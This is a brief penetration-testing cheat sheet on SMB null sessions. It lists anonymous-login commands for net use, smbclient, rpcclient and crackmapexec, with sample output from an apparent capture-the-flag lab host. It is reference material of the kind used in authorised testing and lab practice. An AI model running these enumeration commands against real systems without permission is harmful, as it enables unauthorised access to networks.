null session is an anonymous connection to an inter-process communication network service on Windows-based computers

Null session

From windows

net use \\\\TARGET\\IPC$ "" /u:"" 

From Linux

smbclient -L //192.168.99.131 
smbclient //10.10.10.100/Replication -U ""%"" 
rpcclient -U "" 10.10.10.10 

CME

crackmapexec smb 10.10.10.192 -u 'anonymous' -p ''
SMB         10.10.10.192    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\\anonymous: